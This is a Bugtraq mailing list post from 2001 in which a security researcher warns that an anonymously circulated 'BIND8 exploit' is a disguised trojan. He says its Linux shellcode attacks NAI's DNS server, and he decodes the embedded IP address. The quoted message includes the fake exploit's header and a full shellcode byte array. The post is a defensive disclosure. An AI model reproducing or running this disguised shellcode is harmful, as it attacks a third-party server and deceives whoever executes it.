Bugtraq mailing list archives

That BIND8 "exploit" attacks NAI


From: Max Vision <vision () WHITEHATS COM>
Date: Wed, 31 Jan 2001 20:57:54 -0800

Hi,

Please beware of running code such as this.  It will do it's best to attack
NAI's nameserver.  It's a typical, though well disguised, shellcode trick.
Look in the Linux shellcode:
\xa1\x45\x03\x96  ==  161.69.3.150 == dns1.nai.com

More details after I have a better look...
Max

At 04:12 PM 1/31/2001 -0700, you wrote:
>From Anonymous <nobody () replay com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody () replay com>
To: BUGTRAQ () SECURITYFOCUS COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903 () replay com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)


/*
 * Implements TSIG buffer mismanagement overflow for incorrect
signatures. That
 * one was really nice bug!
 * Thanks NAI for nice bug!
 */

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char            linux_shellcode[] =     /* modifyed Aleph1 linux shellcode to
                                        * bind to tcp port 31338. hey aleph1
                                        * :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";


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